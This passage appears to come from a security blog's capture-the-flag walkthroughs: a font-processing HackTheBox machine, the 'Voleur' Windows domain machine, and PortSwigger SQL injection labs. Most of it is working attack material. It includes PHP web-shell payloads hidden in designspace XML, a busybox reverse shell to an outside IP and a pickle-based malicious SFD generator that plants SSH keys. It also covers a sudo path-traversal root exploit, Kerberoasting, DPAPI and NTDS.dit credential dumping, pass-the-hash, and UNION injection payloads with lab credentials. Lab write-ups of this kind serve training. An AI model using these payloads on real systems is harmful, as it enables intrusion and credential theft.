    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

and we got success.

but our main motive is to get RCE.

below poc is sending ping request to our system

<?xml version="1.0" encoding="UTF-8"?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("ping 10.10.15.140");?>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>

    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>

        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>

    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>

    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>

</designspace>

and we’ll listen using the tcpdump for any ICMP traffic, the file processed successfully but no success. now we are sure that the our malicious file is on the server but now we need the way to access it.

while fuzzing the directories for the portal website i found that the .git is present so we can dump the git repo using git dumper giving us the full source code and commits and let see if we can find any way in..

gobuster dir -u http://portal.variatype.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt

let’s use git dumper to get dump the github repo - https://github.com/arthaud/git-dumper

git-dumper http://portal.variatype.htb/ gitdump

let’s check if we have anything interesting

we have only 1 file

and it also doesn’t have anything. let’s run git status to check if any changes have been made to file or not

we can see that the auth.php is modified let’s check the commit logs

to view the changes in files during this commits we can use git show command

git show 753b5f5957f2020480a19bf29a0ebc80267a4a3d

and we got the credentials of the gitbot user.

gitbot:G1tB0t_Acc3ss_2025!

let’s use the creds to login to machine

Bingo!! we have the two successfully generated font files

after many attempts the below payload finally worked

<?xml version="1.0" encoding="UTF-8"?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo system($_GET['cmd']);?>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>

    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>

        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>

    <variable-fonts>
        <variable-font name="MyFont" filename="../../../../../../../var/www/portal.variatype.htb/public/shell.php">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>

    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>

</designspace>

and we are able to write to directory /var/www/portal.variatype.htb/public directory

and then try to access the web shell

and then i used busybox to get reverse shell

http://portal.variatype.htb/shell.php?cmd=busybox%20nc%2010.10.15.140%20443%20-e%20/bin/bash

after enumerating little bit i found that there’s another user on box, steve. but we don’t have the permission to access the user’s folder

after little bit more enumeration i found below bash script in /opt directory which is running as steve

#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

now it was parsing files directly and doing another things like /usr/local/src/fontforge/build/bin/fontforge binary so i checked on google and found there’s CVE associated with the fontforge https://github.com/advisories/GHSA-6465-93fg-6pfr

<aside> 💡

FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of SFD files

</aside>

and we can see in our code that SFD files are allowed to process.

after trying a bit i got hit up with another CVE - https://www.zerodayinitiative.com/advisories/ZDI-25-1187/

This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

Using AI generated below script which just write my public SSH key into steve user’s directory and generate the SFD file.

#!/usr/bin/env python3
import pickle
import os
SSH_KEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICatFkEXk4xA+yOXmCIlrbAZkcGzRebuWj4QTTYSNyZa kali@kali"
class Exploit(object):
    def __reduce__(self):
        cmd = f'mkdir -p /home/steve/.ssh && echo "{SSH_KEY}" >> /home/steve/.ssh/authorized_keys && chmod 700 /home/steve/.ssh && chmod 600 /home/steve/.ssh/authorized_keys'
        return (os.system, (cmd,))
payload = pickle.dumps(Exploit(), protocol=0)
payload_str = payload.decode('ascii')
payload_escaped = payload_str.replace('\\', '\\\\').replace('"', '\\"')
sfd_content = f'''SplineFontDB: 3.2
FontName: MaliciousFont
FullName: Malicious Font
FamilyName: Malicious
Weight: Medium
Copyright: Test
UComments: ""
Version: 001.000
ItalicAngle: 0
UnderlinePosition: -100
UnderlineWidth: 50
Ascent: 800
Descent: 200
InvalidEm: 0
LayerCount: 2
Layer: 0 0 "Back"  1
Layer: 1 0 "Fore"  0
XUID: [1021 566 858162624 14]
FSType: 0
OS2Version: 0
OS2_WeightWidthSlopeOnly: 0
OS2_UseTypoMetrics: 0
CreationTime: 1733412000
ModificationTime: 1733412000
PfmFamily: 17
TTFWeight: 500
TTFWidth: 5
LineGap: 0
VLineGap: 0
Panose: 2 0 6 3 0 0 0 0 0 0
OS2TypoAscent: 0
OS2TypoAOffset: 1
OS2TypoDescent: 0
OS2TypoDOffset: 1
OS2TypoLinegap: 0
OS2WinAscent: 0
OS2WinAOffset: 1
OS2WinDescent: 0
OS2WinDOffset: 1
HheadAscent: 0
HheadAOffset: 1
HheadDescent: 0
HheadDOffset: 1
OS2Vendor: 'PfEd'
MarkAttachClasses: 1
DEI: 91125
PickledData: "{payload_escaped}"
Encoding: UnicodeBmp
UnicodeInterp: none
NameList: AGL For New Fonts
DisplaySize: -48
AntiAlias: 1
FitToEm: 0
WinInfo: 0 32 22
BeginChars: 65536 1
StartChar: space
Encoding: 32 32 0
Width: 250
VWidth: 0
Flags: W
LayerCount: 2
EndChar
EndChars
EndSplineFont
'''
with open('malicious.sfd', 'w') as f:
    f.write(sfd_content)
print("Generated malicious.sfd")

replace the SSH public key by generating using - ssh-keygen -t ed25519

transfer the malicious.sfd to target machine and place it into /var/www/portal.variatype.htb/public/files

after 1-2 minute try to SSH into machine

Bingo!! we got the access.

i ran sudo -l and found below sudo permission we are having

let’s read the python script

#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

after analyzing above script, i found below vulnerable code

def install_validator_plugin(plugin_url):
    # ... 
    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")

URL Validation Bypass: The is_valid_url() function only checks that the URL starts with http:// or https:// and has a netloc (domain). It doesn't validate the path portion of the URL.
URL Decoding After Validation: The validation happens on the raw URL string, but PackageIndex.download() URL-decodes the path before using it. This means:
- Validation sees: http://10.10.15.140:8000/%2Froot%2F.ssh%2Fauthorized_keys
- After decoding: http://10.10.15.140:8000//root/.ssh/authorized_keys
Path Traversal in Download Function: The PackageIndex.download() method takes the decoded URL path and uses it to determine where to save the file. It doesn't sanitize path traversal sequences like .. or absolute paths.

so on our kali machine what we did, first created the ssh key for root user inside the root user and from / directory ran the python web server

rename the public file

mv id_ed25519.pub authorized_keys

run python3 web server

and then from target machine as steve

sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.15.140:8000/%2Froot%2F.ssh%2Fauthorized_keys"

now do SSH using your root user’s private key

ssh -i id_ed25519 root@10.129.9.244

Voleur

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Voleur
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sun Jul  6 08:38:23 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up, received echo-reply ttl 127 (0.33s latency).
Scanned at 2025-07-06 08:38:31 IST for 30968s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-06 11:42:54Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2222/tcp  open  ssh           syn-ack ttl 127 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+vH6cIy1hEFJoRs8wB3O/XIIg4X5gPQ8XIFAiqJYvSE7viX8cyr2UsxRAt0kG2mfbNIYZ+80o9bpXJ/M2Nhv1VRi4jMtc+5boOttHY1CEteMGF6EF6jNIIjVb9F5QiMiNNJea1wRDQ2buXhRoI/KmNMp+EPmBGB7PKZ+hYpZavF0EKKTC8HEHvyYDS4CcYfR0pNwIfaxT57rSCAdcFBcOUxKWOiRBK1Rv8QBwxGBhpfFngayFj8ewOOJHaqct4OQ3JUicetvox6kG8si9r0GRigonJXm0VMi/aFvZpJwF40g7+oG2EVu/sGSR6d6t3ln5PNCgGXw95pgYR4x9fLpn/OwK6tugAjeZMla3Mybmn3dXUc5BKqVNHQCMIS6rlIfHZiF114xVGuD9q89atGxL0uTlBOuBizTaF53Z//yBlKSfvXxW4ShH6F8iE1U8aNY92gUejGclVtFCFszYBC2FvGXivcKWsuSLMny++ZkcE4X7tUBQ+CuqYYK/5TfxmIs=
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMkGDGeRmex5q16ficLqbT7FFvQJxdJZsJ01vdVjKBXfMIC/oAcLPRUwu5yBZeQoOvWF8yIVDN/FJPeqjT9cgxg=
|   256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILv295drVe3lopPEgZsjMzOVlk4qZZfFz1+EjXGebLCR
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
52804/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60860/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
60861/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60863/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60889/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 48495/tcp): CLEAN (Timeout)
|   Check 2 (port 28661/tcp): CLEAN (Timeout)
|   Check 3 (port 60782/udp): CLEAN (Timeout)
|   Check 4 (port 35476/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-06T11:43:54
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul  6 17:14:39 2025 -- 1 IP address (1 host up) scanned in 30975.95 seconds

Creds

As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

Enumeration

Port 139,445/SMB

let’s start enumerating the SMB service first i validate the credentials using netexec

sudo nxc smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt

it shows NTLM:False and the STATUS_NOT_SUPPORTED shows that kerberos authentication is needed here

first i request TGT

impacket-getTGT 'Voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76

to solve KRB_AP_ERR_SKEW(Clock skew too great), we can run following command

sudo ntpdate 10.10.11.76

now we can request TGT, as the kerberos works with Time we need to make same timezone while dealing with kerberos. now we can request TGT for the ryan user

impacket-getTGT 'Voleur.htb/ryan.naylor:HollowOct31Nyt' -dc-ip 10.10.11.76

to use this we need to export KRB5CCNAME environment variable

export KRB5CCNAME=/home/kali/hackthebox/Voleur/ryan.naylor.ccache

now we’ll add the domain and domain controller hostnames in /etc/hosts

echo "10.10.11.76 voleur.htb dc.voleur.htb" | sudo tee -a /etc/hosts

and now we can check our credentials

if you getting KDC REALM error make sure add following in /etc/krb5.conf

[libdefaults]
    default_realm = VOLEUR.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    VOLEUR.HTB = {
        kdc = dc.voleur.htb
        admin_server = dc.voleur.htb
    }
[domain_realm]
    .voleur.htb = VOLEUR.HTB
    voleur.htb = VOLEUR.HTB

now let’s check the open shares

sudo nxc smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k --shares

nice we have the read access to IT share, let’s connect with that share using smbclient

sudo smbclient //dc.voleur.htb/IT -U ryan.naylor@VOLEUR.HTB%HollowOct31Nyt -k

we found Access_Review.xlsx let’s download it

i transffered it to my windows host and when trying to open i found that it is password protected

i used access2john to first get the hash of the password

office2john Access_Review.xlsx > hash

and then use john to crack the hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

nice we got the password for excel sheet, use this

now let’s keep this informtion and run bloodhound to get the proper domain map and find the shortest attacks

bloodhound-python -c all -u ryan.naylor -p HollowOct31Nyt -d voleur.htb -dc dc.voleur.htb -ns 10.10.11.76 -k

and load the json files in bloodhound

we can see the WriteSPN

we can perfrom TargetedKerberos attack on the svc_winrm to get the user’s kerberos ticket hash and then

python ~/offsec/tools/targetedKerberoast.py -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --dc-host dc.voleur.htb --request-user svc_winrm -k

nice we got the hash let’s try to crack it

hashcat -m 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt

nice, let’s request TGT for the svc_winrm user, and then login to target machine using evil-winrm

impacket-getTGT 'Voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76

export KRB5CCNAME=/home/kali/hackthebox/Voleur/svc_winrm.ccache

let’s use the evil-winrm to login as svc_winrm

evil-winrm -i dc.voleur.htb -r voleur.htb

as we can see that svc_ldap user is member of restore_users who has GenericWrite permission over Lacey.Miller we can either use this to perform kerberos attack or we can perform shadow credential

i tried targetKerberoast attack on the lacey.miller and Shadow Credentials attack but none of them are working so i took another path, as we found that todd.wolfe is deleted user and we can see that the svc_ldap user is member of restore_users, so let’s first get shell as svc_ldap

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell -r 10.10.14.6:445

and we got the shell

Bingo!! we got the shell

let’s run follwoing command to list the deleted accounts in Domain

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

we need to restore this user first we need ObjectGUID

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects

now we can use Restore-ADObject to restore The user

Restore-ADObject -Identity "1c6b1deb-c372-4cbb-87b1-15031de169db"

let’s check if the user has been restored successfully

let’s get shell as todd.wolfe

.\RunasCs.exe todd.wolfe NightT1meP1dg3on14 powershell -r 10.10.14.6:443

then i started searching for interesting files

after that i found the DPAPI Credentials in the AppData folder, i created C:\temp folder and then copied the Credentials

C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Local\Microsoft\Credentials>copy DFBE70A7E5CC19A398EBF1B96859CE5D \temp\

and now we need masterkey which we can found at C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110 let’s copy this to the \temp folder as well

now to transfer the both files to our machine i used impacket-smbserver

impacket-smbserver test . -user admin -password admin -smb2support

on target machine

net use \\10.10.14.6\test admin /user:admin

now we can copy our files using smb share

copy 08949382-134f-4c63-b93c-ce52efc0aa88 \\10.10.14.6\test\

copy DFBE70A7E5CC19A398EBF1B96859CE5D \\10.10.14.6\test\

then i used impacket-dpapi to first get the key from masterkey

impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

let’s decrypt the credential file using key

impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

looking for the other files i found another credentials file as well at C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials

and the transfer this to the kali machine as well and run impacket-dpapi credential command with this file

impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

and if we see that the user is member of Remote-Management users as well so we can login to it using evil-winrm

get the TGT for the jeremy.combs

impacket-getTGT 'voleur.htb/jeremy.combs:qT3V9pLXyN7W4m' -dc-ip 10.10.11.76

and then export the KRB5CCNAME variable

export KRB5CCNAME=/home/kali/hackthebox/Voleur/jeremy.combs.ccache

and then when enumerating the system as jeremy.combs i found the id_rsa and note in the Third-Line Support folder

let’s read the Note.txt.txt

and when i scanned the machine using nmap i found the SSH is running on port 2222 let’s transfer the id_rsa to our machine

now i remember that the excel file saying that for svc_backups’s password ask to the jeremy this is what it is reffering to?

and we can see that the jeremy user has access to software folder let’s try to login to machine using ssh

first change the permission of id_rsa

chmod 600 id_rsa

and then use ssh to login as svc_backup

ssh -i id_rsa svc_backup@10.10.11.76 -p 2222

i found the C: drive is mounted at /mnt/c

and found the NTDS.dit and SAM, SYSTEM registry keys let’s copy this to our kali machine using scp

scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ntds.dit

scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" system

scp -i id_rsa -P 2222 svc_backup@10.10.11.76:"/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" security

and then i used impacket-secretsdump to dump the credentials from NTDS.dit

impacket-secretsdump -system system -security security -ntds ntds.dit LOCAL

and then use the impacket-getTGT to request TGT for that user

impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76

export the KRB5CCNAME

export KRB5CCNAME=/home/kali/hackthebox/Voleur/Administrator.ccache

and now evil-winrm to login as Administrator

evil-winrm -i dc.voleur.htb -r voleur.htb

PortSwigger - SQL Injection

Kamlesh Kathiriya — Mon, 15 Jun 2026 00:00:00 GMT

SQL Injection

What is SQL injection (SQLi)?

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure. It can also enable them to perform denial-of-service attacks.

Lab: SQL injection vulnerability allowing login bypass

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

now our goal is to login as Administrator user.

i’ll provide the username as administrator'-- - and solve the lab

Lab: SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string. Hint if we visit the web page

we can see that get parameter category is used to display the results

let’s try to use the order by to get the number of columns ' ORDER BY 1--

https://0a1f003d0412b79780c608aa00f30069.web-security-academy.net/filter?category=Corporate+gifts%27%20ORDER%20BY%202--

so i got the error at ORDER BY 3

so i got to know that there’s 2 columns in the table

after trying somethings i got

Corporate+gifts'+UNION+SELECT+banner,null+FROM+v$version--+-

and solved the lab.

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string.

Used order by clause to identify the column numbers, found there’s 2 columns in the table 'UNION SELECT '1','2'-- -

https://0aa3009a031a91c980b5679c002d00fc.web-security-academy.net/filter?category=Accessories%27%20UNION%20SELECT%20%271%27,%272%27--%20-

now to get the version string we can use the 'UNION SELECT '1',@@version-- -

Lab: SQL injection attack, listing the database contents on non-Oracle databases

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the administrator user. ****

first i’ve tried to enumerate the version using @@versionbut it was giving the internal server error. google search reveals that the the PostgreSQL also non-oracle DB, and to get the version in postgreSQL we can use VERSION() function so i’ve used - ' UNION SELECT VERSION(),'2'-- -

so now we need to enumerate the tables in postgreSQL

PayloadsAllTheThings/SQL Injection/PostgreSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings

' UNION SELECT datname,'2' FROM pg_database-- -

<aside> 💡

the pg_database is the master database which stores information about all the DB in the server we can get the DB name in datname column.

</aside>

now to get the table from the DB we can use the below query

' UNION SELECT table_name,'2' FROM information_schema.tables where table_schema = 
'public' AND table_type = 'BASE TABLE'-- -

we can get the current schema by CURRENT_SCHEMA() function

now we can enumerate the columns

' UNION SELECT column_name,'2' FROM information_schema.columns where table_name = 'users_zsrury'-- -

now we know password is in password_sgdzle and username is in username_oslgyz

our query will become

UNION SELECT username_oslgyz,password_sgdzle FROM users_zsrury-- -

and payload

' UNION SELECT username_oslgyz,password_sgdzle FROM users_zsrury-- -

administrator/d3kqndkqb695tjatvxp4

Now login with obtained creds

Lab: SQL injection attack, listing the database contents on Oracle

first thing is we need to do is intercept the web request and then use the ORDER BY query to determine the column numbers as always 2 is the valid number as 3 was giving me error

now i’ll use below query to get list of the tables in DBMS

#Query
SELECT table_name FROM all_tables

#Payload
'UNION SELECT table_name FROM all_tables-- -

as we know the Table Name we can now try to extract the columns from it

#Query
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS_PWOQCF'

#Payload
UNION+SELECT+'1',column_name+FROM+all_tab_columns+WHERE+table_name+=+'USERS_PWOQCF'--+-

now let’s extract the Data from DB

UNION+SELECT+USERNAME_XEOBHA,PASSWORD_PBSYXX+FROM+USERS_PWOQCF--+-

submit the creds administrator:01b3hk6gu3oywuhaxwt3

Lab: SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

as our objective is to get the Number of columns usin UNION query i’ll use the NULL statement

Gifts' UNION SELECT NULL,NULL,NULL-- -

Lab: SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

Objective: Make the database retrieve the string: 'l4mYAi’

'UNION SELECT 'l4mYAi','l4mYAi','l4mYAi'-- -

i’ll use the above query and will get the Internal server error as possibly DBMS returned some error cause all columns is not supporting the STR datatype.

'UNION SELECT NULL,NULL,NULL-- -

it will give without any error. now try to replacing the each values to String

Lab: SQL injection UNION attack, retrieving data from other tables

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

so first we’ll determine the number of columns using the ORDER BY query

and there’s 2 columns, first i’ll use below command to determine the what database it is running

'UNION SELECT @@version,'2'-- - #will work if mysql OR MSSQL
'UNION SELECT VERSION(),'2'-- - #will work if postgresql

so we can determine that it is the PostgreSQL

#Query
